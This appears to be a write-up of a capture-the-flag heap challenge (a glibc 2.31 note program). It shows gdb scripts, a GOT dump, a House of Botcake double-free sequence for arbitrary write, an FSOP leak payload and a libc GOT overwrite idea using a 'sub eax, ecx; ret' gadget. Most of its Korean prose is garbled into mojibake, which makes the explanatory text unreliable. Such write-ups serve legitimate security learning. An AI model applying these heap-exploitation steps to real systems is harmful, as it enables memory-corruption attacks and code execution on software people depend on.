heap_chall_1
heap chall 1 writeup
๐ง This writeup will be fortified ๐ง
To see the post, youโll need the flag to access the content. To be implemented later.
Challenge
1
2
3
4
5
6
7
8
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
๋ฌธ์ ๊ตฌ์ฑ์ ๋งค์ฐ ๋จ์ํ๋ค.
1
2
3
4
0 - make note
1 - delete note
2 - exit
choice:
์ ๋ด์ฉ์ด ์ ๋ถ๋ค.
๊ธฐ๋ฅ์ ์ผ๋ก make, delete, exit ์ธ ๊ฐ์ง๋ง ์กด์ฌํ๋ค.
make note์์๋ ํฌ๊ธฐ๋ฅผ ์
๋ ฅ๋ฐ๊ณ , ํด๋น ํฌ๊ธฐ๋งํผ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ ๋ค, ๋ด์ฉ์ ์
๋ ฅ๋ฐ๋๋ค.
delete note์์๋ ์ธ๋ฑ์ค๋ฅผ ์
๋ ฅ๋ฐ๊ณ , ํด๋น ์ธ๋ฑ์ค์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํด์ ํ๋ค.
exit๋ ๊ทธ๋ฅ ์ข
๋ฃ์ด๋ค.
์ด๋ make_note์์๋ ๋ง์ง๋ง ๋ฐ์ดํธ๋ฅผ ํญ์ 0์ผ๋ก ์ค์ ํ๋ค๋ ์ ์ด ํน์ง์ด๋ค.
Writeup
Vulnerability
double free ํ๋๋ง ์กด์ฌํ๊ณ leak๋ ํ๋ฉด์ ์ผ๋ก ๋ณด์ด์ง ์๋๋ค. ๊ทธ๋ก ์ธํด ๋ฌธ์ ์ ๋์ด๋๊ฐ ํฌ๊ฒ ์ฌ๋ผ๊ฐ ๋๋์ด๋ค.
Analysis
double free๊ฐ ๊ฐ๋ฅํ๋ค๋ฉด fastbin dup + unsortedbin leak์ ์ด์ฉํด์ ์๋ง libc ์ชฝ ์ฃผ์ ์ด๋๊ฐ๋ฅผ ๋ฎ์ด์ฐ๋ ๊ฒ๊น์ง ์๊ฐ์ ํ๋๋ฐโฆwrite์ ๋ง์ง๋ง ๋ฐ์ดํธ๋ฅผ 0์ผ๋ก ์ค์ ํ๊ธฐ๋ ํ๊ณ , ์ด๋๋ฅผ ๋ฎ์ด์จ์ผ ํ ์ง ๊ฐ์ด ์ค์ง ์์๋ค.
์ผ๋จ glibc ๋ถ์์ ํด์ผ ํ ๊ฒ ๊ฐ์์ docker ๋ด์์ ๋ถ์์ ์งํํ๋ค.
๊ทธ๋์ ์ด์ฌํ ์ฐพ์๋ค๋๋ค๊ฐ, FSOP๊ณ์ด๋ ์์น๊ฐ ์ ๋งคํ๊ฒ ๋ฉ๋ฆฌ ์์ด์ ๊ฒฐ๊ตญ ๊ฐ๋ฅํ ๊ฒ๋ค์ 0์ผ๋ก ์น ๋ฎ์ด์ฐ๊ณ ์ด๋์ segfault๊ฐ ๋๋์ง ํ์ธํ๋ค.
์๋์ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ด์ฉํด์ ๊ฝค๋ ๋น ๋ฅด๊ฒ ํ์ธํ ์ ์๋ค.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 python for i in range(32 * 3): gdb.execute(f"set *(long *)0x7f24c8e18{8*i:03x}=0") end python hex_digits = "0123456789abcdef" for d1 in hex_digits: for i in range(32 * 3): try: gdb.execute(f"telescope 0x7f1b7481{d1}{8*i:03x} 1") except Exception: print("") continue end
1
2
3
4
5
6
7
8
โบ 0 0x0
1 0x7f24c8ca2905 __vfprintf_internal+165
2 0x7f24c8ca2905 __vfprintf_internal+165
3 0x7f24c8ca5ea2 buffered_vfprintf+194
4 0x7f24c8ca2d24 __vfprintf_internal+1220
5 0x7f24c8c8dd3f printf+175
6 0x5577485c732e make_note+45
7 0x5577485c757e main+185
์ฐพ์๋ค!
1
2
3
4
5
108 __extern_always_inline const unsigned char *
109 __find_specmb (const unsigned char *format)
110 {
โบ 111 return (const unsigned char *) __strchrnul ((const char *) format, '%');
112 }
์ ํจ์์์ __strchrnul_์ด ํธ์ถ๋๋๋ฐ, ๊ทธ ๊ณผ์ ์์ PLT๋ฅผ ์ด์ฉํ๋ค.
1
2
3
4
=> 0x00007f1a3f1db390 <+0>: endbr64
0x00007f1a3f1db394 <+4>: bnd jmp QWORD PTR [rip+0x1c9ca5] # 0x7f1a3f3a5040 <*ABS*@got.plt>
0x00007f1a3f1db39b <+11>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
๋ฐ๋ผ๊ฐ๋ฉด ์์ฒ๋ผ 0x7f1a3f3a5040, ์ฆ, 0x7f1a3f3a_0__ ๊ผด์ ์ฃผ์์์ ํ์ธํ ์ ์๋ค. ํ์ฌ ๋ง์ง๋ง ๋ฐ์ดํธ๊ฐ 00์ผ๋ก ๊ณ ์ ๋๋ฏ๋ก ์ฐ๋ฆฌ์๊ฒ ๋ฑ ํ์ํ ํจ์์ด๋ค.
์ ํํ offset์ libc์ rw ์น์
+0x40์ด๋ค.
์ฃผ์ด์ง libc๋ 2.31 ์ด๊ธฐ๋ฒ์ ์ด๋ค. ๋ฐ๋ผ์ ์ต์ libc-2.31๋ก ๋๋ฒ๊น ํ๊ฒ ๋๋ฉด ์ผ๋ถ offset์ด ๋ค๋ฅผ ์ ์๋ค.
๊ทธ๋ฌ๋ ๋ถ์์ LD_PRELOAD ์์ด ์งํํ๋ ๊ฒ์ด ํธ๋ฆฌํ๋ฐ, ์๋์ฒ๋ผ ์ฌ๋ณผ์ด ์ด์์๊ธฐ ๋๋ฌธ์ด๋ค.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 00:0000โ 0x7f97e7faf000 (_GLOBAL_OFFSET_TABLE_) โโ > 0x1ebb80 01:0008โ 0x7f97e7faf008 (_GLOBAL_OFFSET_TABLE_+8) โโธ 0x7f97e7fb5000 โโธ 0x7f97e7dc3000 โโ > 0x3010102464c457f 02:0010โ 0x7f97e7faf010 (_GLOBAL_OFFSET_TABLE_+16) โโธ 0x7f97e7fdabc0 (_dl_runtime_resolve_xsavec) โโ > endbr64 03:0018โ 0x7f97e7faf018 (*ABS*@got.plt) โโธ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) โโ > endbr64 04:0020โ 0x7f97e7faf020 (*ABS*@got.plt) โโธ 0x7f97e7f4baa0 (__strnlen_avx2) โโ > endbr64 05:0028โ 0x7f97e7faf028 (*ABS*@got.plt) โโธ 0x7f97e7f4fe60 (__wcschr_avx2) โโ > endbr64 06:0030โ 0x7f97e7faf030 (realloc@got.plt) โโธ 0x7f97e7de5040 โโ > endbr64 07:0038โ 0x7f97e7faf038 (*ABS*@got.plt) โโธ 0x7f97e7f49964 (__strncasecmp_l_avx) โโ > endbr64 08:0040โ 0x7f97e7faf040 (*ABS*@got.plt) โโธ 0x7f97e7f4b540 (__strchrnul_avx2) โโ > endbr64 09:0048โ 0x7f97e7faf048 (*ABS*@got.plt) โโธ 0x7f97e7f4eea0 (__wmemcmp_avx2_movbe) โโ > endbr64 0a:0050โ 0x7f97e7faf050 (*ABS*@got.plt) โโธ 0x7f97e7f4db30 (__stpcpy_avx2) โโ endbr64 0b:0058โ 0x7f97e7faf058 (__tls_get_addr@got.plt) โโธ 0x7f97e7de5090 โโ endbr64 0c:0060โ 0x7f97e7faf060 (*ABS*@got.plt) โโธ 0x7f97e7f4dee0 (__stpncpy_avx2) โโ endbr64 0d:0068โ 0x7f97e7faf068 (*ABS*@got.plt) โโธ 0x7f97e7f46cc0 (__strspn_sse42) โโ endbr64 0e:0070โ 0x7f97e7faf070 (*ABS*@got.plt) โโธ 0x7f97e7f50280 (__wcslen_avx2) โโ endbr64 0f:0078โ 0x7f97e7faf078 (memalign@got.plt) โโธ 0x7f97e7de50d0 โโ endbr64 10:0080โ 0x7f97e7faf080 (_dl_exception_create@got.plt) โโธ 0x7f97e7de50e0 โโ endbr64 11:0088โ 0x7f97e7faf088 (*ABS*@got.plt) โโธ 0x7f97e7f47760 (__memchr_avx2) โโ endbr64 12:0090โ 0x7f97e7faf090 (*ABS*@got.plt) โโธ 0x7f97e7f482e4 (__strcasecmp_l_avx) โโ endbr64 13:0098โ 0x7f97e7faf098 (*ABS*@got.plt) โโธ 0x7f97e7f47b80 (__memrchr_avx2) โโ endbr64 14:00a0โ 0x7f97e7faf0a0 (__tunable_get_val@got.plt) โโธ 0x7f97e7de5120 โโ endbr64 15:00a8โ 0x7f97e7faf0a8 (*ABS*@got.plt) โโธ 0x7f97e7f4b900 (__strlen_avx2) โโ endbr64 16:00b0โ 0x7f97e7faf0b0 (*ABS*@got.plt) โโธ 0x7f97e7f4b310 (__strchr_avx2) โโ endbr64 17:00b8โ 0x7f97e7faf0b8 (*ABS*@got.plt) โโธ 0x7f97e7f46b80 (__strpbrk_sse42) โโ endbr64 18:00c0โ 0x7f97e7faf0c0 (*ABS*@got.plt) โโธ 0x7f97e7f40ab0 (__wcscpy_ssse3) โโ endbr64 19:00c8โ 0x7f97e7faf0c8 (*ABS*@got.plt) โโธ 0x7f97e7f4ed00 (__wmemset_avx2_unaligned) โโ endbr64 1a:00d0โ 0x7f97e7faf0d0 (*ABS*@got.plt) โโธ 0x7f97e7f4ed00 (__wmemset_avx2_unaligned) โโ endbr64 1b:00d8โ 0x7f97e7faf0d8 (*ABS*@got.plt) โโธ 0x7f97e7f50440 (__wcsnlen_avx2) โโ endbr64 1c:00e0โ 0x7f97e7faf0e0 (*ABS*@got.plt) โโธ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) โโ endbr64 1d:00e8โ 0x7f97e7faf0e8 (*ABS*@got.plt) โโธ 0x7f97e7f4ce40 (__strcpy_avx2) โโ endbr64 1e:00f0โ 0x7f97e7faf0f0 (*ABS*@got.plt) โโธ 0x7f97e7f4f210 (__wmemchr_avx2) โโ endbr64 1f:00f8โ 0x7f97e7faf0f8 (*ABS*@got.plt) โโธ 0x7f97e7f49950 (__strncasecmp_avx) โโ endbr64 20:0100โ 0x7f97e7faf100 (_dl_find_dso_for_object@got.plt) โโธ 0x7f97e7de51e0 โโ endbr64 21:0108โ 0x7f97e7faf108 (*ABS*@got.plt) โโธ 0x7f97e7f46a40 (__strcspn_sse42) โโ endbr64 22:0110โ 0x7f97e7faf110 (*ABS*@got.plt) โโธ 0x7f97e7f4baa0 (__strnlen_avx2) โโ endbr64 23:0118โ 0x7f97e7faf118 (*ABS*@got.plt) โโธ 0x7f97e7f4fe60 (__wcschr_avx2) โโ endbr64 24:0120โ 0x7f97e7faf120 (calloc@got.plt) โโธ 0x7f97e7de5220 โโ endbr64 25:0128โ 0x7f97e7faf128 (*ABS*@got.plt) โโธ 0x7f97e7f4ed90 (__memset_avx2_unaligned_erms) โโ endbr64 26:0130โ 0x7f97e7faf130 (*ABS*@got.plt) โโธ 0x7f97e7f46df0 (__strcmp_avx2) โโ endbr64 27:0138โ 0x7f97e7faf138 (*ABS*@got.plt) โโธ 0x7f97e7f47230 (__strncmp_avx2) โโ endbr64 28:0140โ 0x7f97e7faf140 (*ABS*@got.plt) โโธ 0x7f97e7f47ef0 (__memcmp_avx2_movbe) โโ endbr64 29:0148โ 0x7f97e7faf148 (*ABS*@got.plt) โโธ 0x7f97e7f4e8f0 (__mempcpy_avx_unaligned_erms) โโ endbr64 2a:0150โ 0x7f97e7faf150 (*ABS*@got.plt) โโธ 0x7f97e7f4f4e0 (__wcscmp_avx2) โโ endbr64 2b:0158โ 0x7f97e7faf158 (*ABS*@got.plt) โโธ 0x7f97e7f4f210 (__wmemchr_avx2) โโ endbr64 2c:0160โ 0x7f97e7faf160 (*ABS*@got.plt) โโธ 0x7f97e7f47a30 (__rawmemchr_avx2) โโ endbr64 2d:0168โ 0x7f97e7faf168 (*ABS*@got.plt) โโธ 0x7f97e7f4b730 (__strrchr_avx2) โโ endbr64 2e:0170โ 0x7f97e7faf170 (*ABS*@got.plt) โโธ 0x7f97e7f4bdc0 (__strcat_avx2) โโ endbr64 2f:0178โ 0x7f97e7faf178 (*ABS*@got.plt) โโธ 0x7f97e7f482d0 (__strcasecmp_avx) โโ endbr64 30:0180โ 0x7f97e7faf180 (*ABS*@got.plt) โโธ 0x7f97e7f4d1d0 (__strncpy_avx2) โโ endbr64 31:0188โ 0x7f97e7faf188 (*ABS*@got.plt) โโธ 0x7f97e7f4e910 (__memmove_avx_unaligned_erms) โโ endbr64
์ฌ์ค ์๊ฐํด๋ณด๋ฉด libc GOT overwrite๋ก RCEํ ๋์ฒ๋ผ GOT entry๋ฅผ ๋ฎ์ด์ฐ๋ฉด ๋๋ ๊ฒ ๊ฐ๋ค.
ํ์์ ์ฃผ๋ก exit_handler๋ FSOP์ชฝ์ผ๋ก RCE ํด์์ ์ฌ๊ธฐ๋ฅผ ๋ฎ์ด์ฐ๋ ์๊ฐ์ ๋ชปํ์๋ค.
์ผ๋จ ์ ๋ชฉ๋ก์ ํ๋ณดํ ํ, ๊ณ์ ๋ดค๋๋ฐ ์ฝ๊ฐ์ ๋ฌธ์ ๊ฐ ์๋ค.
์ฌ๊ธฐ์๋ overwrite๋ฅผ ํ ๋ ๋ง์ง๋ง ๋ฐ์ดํธ๊ฐ 0์ผ๋ก ๊ณ ์ ๋ ๊ฒ์ธ๋ฐ, 0x7f97e7f4_0__ ๊ผด์ ํจ์๋ค์ ๋ชจ๋ ์์ ๋ณด์ด๋ plt ํจ์๋ค์ด๋ค. ์ฆ, leak์ ์ ์ฉํ ๊ฒ๋ค์ด ์๋ค.
๊ทธ๋์ ์ด์ ๋ถํฐ๋ libc ์์ค์ฝ๋๋ฅผ ๋ค์ง๊ธฐ ์์ํ๋ค. ํ์ฌ ๋ฐ๊ฟ ์ ์๋ ์์ญ์ด GOT ์ธ์๋ ์์ผ๋ฏ๋ก ์ฌ์ค์ ์ ๊ธฐ ์๋ string ๊ด๋ จ ํฌํผ ํจ์๋ค์ ์ด๋ป๊ฒ ์ ์จ์ ๋์ด๊ฐ์ผํ ๊ฒ ๊ฐ๋ค.
๊ทธ๋ ๋์ ๋ค์ด์จ๊ฑด ์๋์ ์ฝ๋์ด๋ค.
1
2
3
4
5
6
7
8
9
10
11
12
...
/* Look for next format specifier. */
#ifdef COMPILE_WPRINTF
f = __find_specwc ((end_of_spec = ++f));
#else
f = __find_specmb ((end_of_spec = ++f));
#endif
/* Write the following constant string. */
outstring (end_of_spec, f - end_of_spec);
}
...
outstring (end_of_spec, f - end_of_spec);์ด ๋ณด์ธ๋ค. ์ดํด๋ณด๋ฉด puts๋ฅผ ์ด์ฉํด์ f - end_of_spec ๊ธธ์ด๋งํผ end_of_spec๋ถํฐ ์ถ๋ ฅํ๋ ํจ์์ด๋ค.
์ด? ๊ทธ๋ฌ๋ฉด __find_specmb ํจ์๊ฐ 0์ด๋ ์์๋ฅผ ๋ฐํํ๊ฒ ํ๋ค๋ฉด?
๋ฐ๋ก __strchrnul ํจ์๋ฅผ __strcmp ํจ์๋ก ๊ต์ฒดํด ๋ณด์๋ค.
Segfault๊ฐ ๋จ๊ธด ํ์ง๋ง leak์ด ๋ฐ์ํ๋ค!
๊ทธ๋์ ์ด ์ดํ๋ก Segfault๊ฐ ๋๋ ๊ฒฝ๋ก๋ฅผ ๋ฐ๋ผ๊ฐ๋ฉด์ ๋ค๋ฅธ ์ฃผ์๋ ๋ฎ์ด์ฐ๋ ค๊ณ ์๋ํ์ผ๋ memcpy์์ ํฐ์ง๋ Segfault๋ฅผ ๋ง์์๊ฐ ์์๋คโฆ
๊ฒฐ๊ตญ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฐพ์์ผํ๋ค. ๊ทธ๋์ GOT์์ญ์ ํธ์ถ๋๋ ํจ์๋ฅผ ์ฐพ๊ธฐ์ํด ํด๋น ์์ญ์ ์น breakpoint๋ฅผ ๊ฑธ๋ก ์คํ์์ผ๋ณด์๋ค.
๊ทธ ๊ฒฐ๊ณผ puts์์ strlen ํธ์ถ์ด ๋ฐ์ํ๋ ๊ฒ์ ํ์ธํ๋ค.
๋ฐ๋ผ์ strlen ํจ์๋ฅผ ์ ์ ํ๊ฒ ๋ฎ์ด์ฐ๋ฉด leak์ด ๊ฐ๋ฅํ ๊ฒ ๊ฐ์๋ค.
๊ทธ๋ฌ๋ ์์ฝ๊ฒ๋ ์ฌ๊ธฐ์ ์์ง๊ฐ ๊บพ์ฌ์ ๊ทธ๋ฅ 1/4096์ผ๋ก FSOP๋ก leakํ๋ ๊ฑธ๋ก ์ ํฅํ๋คโฆ ์ด๋ฏธ ์๊ฐ์ ๋๋ฌด ์ด ์ํ๋ผ ๋น ๋ฅด๊ฒ ๋๋ด๊ณ ํ์ด๋ฅผ ๊ณต๋ถํ๊ณ ์ ํ๊ธฐ ๋๋ฌธ์ด๋ค.
From double free to AAW
double free๋ง ์์ ๋๋ 2๊ฐ์ง ๋ฐฉ๋ฒ์ผ๋ก AAW๋ฅผ ๋ฌ์ฑํ ์ ์๋ค. (๋ ์์ ์ ์์ง๋ง, ์ด ์ํฉ์์ ๊ฐ๋จํ ๊ฒ๋ค์ ์๋์ ๊ฒ๋ค์ด๋ค.)
- Fastbin dup into tcache
- House of Botcake
๋๋ 2๋ฒ ๋ฐฉ๋ฒ์ ํตํด์ AAW๋ฅผ ๋ฌ์ฑํ๋ค. House of Botcake ๋ฐฉ๋ฒ์ ์๋์ ์ ์ฐจ๋ก ์งํ๋๋ค.
- tcache ๋ชจ๋ ์ฑ์ฐ๊ธฐ, ํฌ๊ธฐ๋ fastbin ํฌ๊ธฐ๋ฅผ ์ด๊ณผํ๋๋ก. e.g. 0x100
- unsortedbin์ 2๊ฐ์ ์ฒญํฌ ํ ๋น โ ์์์ ๋ณํฉ๋๋๋ก
- ์ฒญํฌ ํ ๋น: tcache ํ๋ ๋น์์ง โ ์ด๋ unsortedbin ์ฒญํฌ๋ฅผ ํด์ : double free ๋ฐ์
์ดํ main_arena ์ฃผ์๋ฅผ tcache์ next ์ฃผ์๋ก ์ฎ๊ธฐ๋ ๊ฒ์ ์ด๋ ต์ง ์๋ค.
๊ทธ๋ฆผ์ผ๋ก๋ ์๋์ ๊ฐ๋ค.
7,8 ์ฒญํฌ๊ฐ ๋ณํฉ๋๋๋ก ์์ฒ๋ผ ์ธํ
์ดํ 8๋ฒ ์ฒญํฌ 2ํ ํด์ , tcache์ double free ๋ฐ์
์ฝ๋๋ก๋ ์๋์ ๊ฐ๋ค.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for i in range(7):
ncreate(i, 0xA0)
ncreate(7, 0xA0)
ncreate(8, 0xA0)
ncreate(9, 0x10)
for i in range(7):
ndelete(i)
ndelete(8)
ndelete(7)
ncreate(0, 0xA0)
ndelete(8) # 8 is the target!
# More!
ncreate(0, 0x40)
ncreate(0, 0x50)
ncreate(0, 0x40, ptr_to_overwrite)
ncreate(0, 0xA0)
ncreate(1, 0xA0, data_to_write)
๋์ ๊ฒฝ์ฐ FSOP๋ก leak ํ ๊ฑฐ์์ผ๋ p64(0xFBAD1800) + p64(0) + p64(0) * 2 + b"\x00" + b"\n" ์ด๋ฐ์์ผ๋ก ์์ฑํ๋ค.
Leak using FSOP
์ด ๋ธ๋ก๊ทธ ๊ธ ์์ ์ค๋ช ์ ๋งค์ฐ ์ ํด๋์๋ค.
Extra Notes
Intentional Solution
์ญ์ GOT overwrite๋ฅผ ํตํ RCE๊ฐ ์๋๋ ํ์ด์ด๋ค. ๋ค๋ง ๋ด๊ฐ ๋์น ๋ถ๋ถ์ด ์์ด ์ ๋ฆฌ๋ฅผ ํด๋ ํ์๊ฐ ์์ ๊ฒ ๊ฐ๋ค.
strlen ํจ์๋ฅผ ์ค๋ฒ๋ผ์ดํธ ํ ๋ ๋ง์ง๋ง short๊ฐ 0x00**๋ก strlen ์ฃผ์๋ฅผ ๋ณ๊ฒฝํ ์ ์์๋ค. (ํ ๋ฐ์ดํธ๋ฅผ ๋ ๋ฐ๊พธ๋ ค๋ฉด 256 ๋ธํฌ ์ถ๊ฐ) ์ด๋ ๋ 0x...00** ๊ผด ์ฃผ์๋ค์ด ๋๋ถ๋ถ ํ์ ์๋ ํจ์๊ณ ๋ฐ๋ก ๋ฎ์ด์ฐ๋ segfault๊ฐ ๋์ ์ ๊ฒฝ์ ์ฐ์ง ์์์ง๋ง ์ด ๋ถ๋ถ์ ROP๋ก ์ฌ์ฉ์ด ๊ฐ๋ฅํ๋ค.
์ฆ, 0x...00** ๊ผด์ ์ฃผ์ ์ค ํฉ๋ฆฌ์ ์ธ ์ฒด์ธ์ ์ฐพ์์ puts์ ์ ์์ ์ธ strlen ํธ์ถ์ ์กฐ์ํด์ผํ๋ ๊ฒ์ด๋ค.
sub eax, ecx; ret; ๊ฐ์ ฏ์ผ๋ก ๋ฎ์ผ๋ฉด eax - ecx๊ฐ ๋ฐํ๊ฐ์ด ๋๋ฏ๋ก ํจ์ฌ ๊ธด ๊ธธ์ด๋ฅผ ์ถ๋ ฅํ ์ ์๋ค.
๊ทธ๋ฆฌ๊ณ rax๋ choiceํ ๋ ์ฌ์ฉ๋๋ ๊ฐ์ด ์ ์ฅ๋์ด ์๊ธฐ์ ์ด๋ฅผ ํ์ฉํ์ฌ choice์ ๋งค์ฐ ํฐ ์ซ์๋ฅผ ๋ฃ์ด strlen ๋ฐํ๊ฐ์ ์กฐ์ํ ์ ์๋ค!! ์ง์ rax๊น์ง ์กฐ์ํด์ฃผ์ด์ผ ํ๋ค๋ ์ , ๊ทธ๋ฆฌ๊ณ ์ด๋ฌํ ๋ ์ง์คํฐ๊น์ง ๋๋ ์กฐ์ํ ์ ์๋ค๋ ๊ฒ์ ๋ชจ๋ฅด๊ณ ๋์น ๋ถ๋ถ์ด ์์ฌ์ ๋ค.